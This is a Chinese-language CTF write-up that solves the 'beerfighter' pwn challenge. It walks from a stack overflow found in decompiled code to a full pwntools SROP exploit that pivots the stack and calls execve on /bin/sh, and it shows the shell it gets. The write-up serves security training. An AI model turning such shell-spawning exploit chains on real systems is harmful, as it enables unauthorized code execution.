一道简单的SROP题,很适合用来练手。本writeup针对不带symbols的程序来讲解。
所有文件下载:http://file.eonew.cn/ctf/pwn/beerfighter.zip 。
目录
安全防护
ex@Ex:~/test$ checksec beerfighter
[*] '/home/ex/test/beerfighter'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
程序分析
main
int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[1040]; // [rsp+10h] [rbp-410h]
qmemcpy(buf, "Newcomer", 0x404uLL);
show_menu();
while ( (unsigned int)make_your_choice(buf) )
;
printf("\n");
return 0;
}
make_your_choice
signed __int64 __fastcall make_your_choice(char *a1)
{
signed int v1; // eax
printf(
"\n"
"\n"
" ~ ~~ __\n"
" _T .,,. ~--~ ^^\n"
" ^^ // \\ ~\n"
" ][O] ^^ ,-~ ~\n"
" /''-I_I _II____\n"
" __/_ / \\ ______/ '' /'\\_,__\n"
" | II--'''' \\,--:--..,_/,.-{ },\n"
" ; '/__\\,.--';| |[] .-.| O{ _ }\n"
" :' | | [] -| ''--:.;[,.'\\,/\n"
" ' |[]|,.--'' '', ''-,. |\n"
" .. ..-'' ; ''. '\n"
"\n"
"You are in the village square.\n"
"In front of you can see the entrance of the local\n"
"bar from where one could hear laughter and singing.\n"
"On your\n"
"left stands is the massive front of the city hall that\n"
"dominates the village. On your right, in the \n"
"shadow of the bar, an alley filled with unconscious bodies and\n"
"empty pints leads to a dark yard where the most\n"
"valiant barflies of the country can face each other.\n"
"It's time to choose in which place you will enter !\n"
"------------\n"
"\n");
printf("[0] The bar\n");
printf("[1] The City Hall\n");
printf("[2] The dark yard\n");
printf("[3] Leave the town for ever\n");
v1 = get_input("Type your action number > ", 0, 3);
if ( v1 == 1 )
{
option_1(a1);
}
else if ( v1 > 1 )
{
if ( v1 != 2 )
{
if ( v1 == 3 )
{
printf("By !\n");
return 0LL;
}
goto LABEL_12;
}
sub_4006D6("Type your action number > ", 0LL);
}
else
{
if ( v1 )
{
LABEL_12:
printf("Invalid choice\n");
return 1LL;
}
sub_40066C("Type your action number > ", 0LL);
}
return 1LL;
}
0选项
、2选项
是没有用的。
option_1
void __fastcall option_1(char *a1)
{
char buf[2048]; // [rsp+10h] [rbp-810h]
char option; // [rsp+81Fh] [rbp-1h]
printf("Welcome ");
printf(a1);
printf(
"! I am the mayor of this small town and my role is to register the names of its citizens.\n"
"How should I call you?\n");
printf("[0] Tell him your name\n");
printf("[1] Leave\n");
option = get_input("Type your action number > ", 0, 1);
if ( option )
{
if ( option == 1 )
printf("You just left the old man without even saying \"Good bye\"\n");
else
printf("Invalid action\n");
}
else
{
printf("Type your character name here > ");
read_n(buf, 2048);
memcpy(a1, buf, 2048LL);
printf("\n");
}
}
漏洞
在main
函数中的buf仅有1024个字节的大小,但是在option_1
函数却有却有2048个字节,然后option_1
函数中的memcpy(a1, buf, 2048LL);
就会直接造成栈溢出。
这个程序没有动态库:
ex@Ex:~/test$ ldd ./beerfighter
not a dynamic executable
所有我们只能手动构造系统调用来拿shell。
思路
- SROP栈转移
- 读取新栈和/bin/sh
- SROP执行shell
要用到的指令
# 0x000000000040077a : pop rax ; ret
pop_rax_ret = 0x000000000040077a
# 0x0000000000400738 : syscall ; ret
syscall_ret = 0x0000000000400738
SROP栈转移
stack_space = 0x200
new_stack_addr = 0x603000 - stack_space
layout1 = [
'a' * 0x410,
p64(0), # rbp
p64(pop_rax_ret),
p64(constants.SYS_rt_sigreturn),
p64(syscall_ret),
]
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = constants.STDIN_FILENO # fd
frame.rsi = new_stack_addr # buf
frame.rdx = stack_space # nbytes
frame.rsp = new_stack_addr
frame.rip = syscall_ret
payload1 = flat(layout1) + str(frame)
# pause()
sh.sendline(payload1)
sh.sendline('3')
sh.recvuntil('By !\n\n')
转移完栈之后立刻进行SYS_read
系统调用。读取我们的新栈。
读取新栈和/bin/sh
layout2 = [
p64(pop_rax_ret),
p64(constants.SYS_rt_sigreturn),
p64(syscall_ret),
]
str_bin_sh_offset = 0x150
# Creating a custom frame
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = new_stack_addr + str_bin_sh_offset
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
payload2 = flat(layout2) + str(frame2)
payload2 = payload2.ljust(str_bin_sh_offset, 'b') + '/bin/sh\x00'
# pause()
sh.sendline(payload2)
sh.interactive()
由于新的栈里面存好了我们的frame2
,所以执行完之后程序就会直接SROP
,进而拿到shell。
完整脚本
#!/usr/bin/python2
# -*- coding:utf-8 -*-
from pwn import *
context.arch = "amd64"
# context.log_level = "debug"
sh = process('./beerfighter')
# 生成调试文件
try:
f = open('pid', 'w')
f.write(str(proc.pidof(sh)[0]))
f.close()
except Exception as e:
print(e)
# 0x000000000040077a : pop rax ; ret
pop_rax_ret = 0x000000000040077a
# 0x0000000000400738 : syscall ; ret
syscall_ret = 0x0000000000400738
sh.recvuntil('Type your action number > ')
sh.sendline('1')
sh.recvuntil('Type your action number > ')
sh.sendline('0')
sh.recvuntil('Type your character name here > ')
stack_space = 0x200
new_stack_addr = 0x603000 - stack_space
layout1 = [
'a' * 0x410,
p64(0), # rbp
p64(pop_rax_ret),
p64(constants.SYS_rt_sigreturn),
p64(syscall_ret),
]
# Creating a custom frame
frame = SigreturnFrame()
frame.rax = constants.SYS_read
frame.rdi = constants.STDIN_FILENO # fd
frame.rsi = new_stack_addr # buf
frame.rdx = stack_space # nbytes
frame.rsp = new_stack_addr
frame.rip = syscall_ret
payload1 = flat(layout1) + str(frame)
# pause()
sh.sendline(payload1)
sh.sendline('3')
sh.recvuntil('By !\n\n')
layout2 = [
p64(pop_rax_ret),
p64(constants.SYS_rt_sigreturn),
p64(syscall_ret),
]
str_bin_sh_offset = 0x150
# Creating a custom frame
frame2 = SigreturnFrame()
frame2.rax = constants.SYS_execve
frame2.rdi = new_stack_addr + str_bin_sh_offset
frame2.rsi = 0
frame2.rdx = 0
frame2.rip = syscall_ret
payload2 = flat(layout2) + str(frame2)
payload2 = payload2.ljust(str_bin_sh_offset, 'b') + '/bin/sh\x00'
# pause()
sh.sendline(payload2)
sh.interactive()
# 删除调试文件
os.system("rm -f pid")
运行实例
ex@Ex:~/test$ ./exp.py
[+] Starting local process './beerfighter': pid 12650
[*] Switching to interactive mode
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$
总结
该题难点其实不在于SROP
,而是在于这个是手写的程序,和一般的程序差别很大,而且没有symbols。但是程序流足够简单,分析起来也并不难。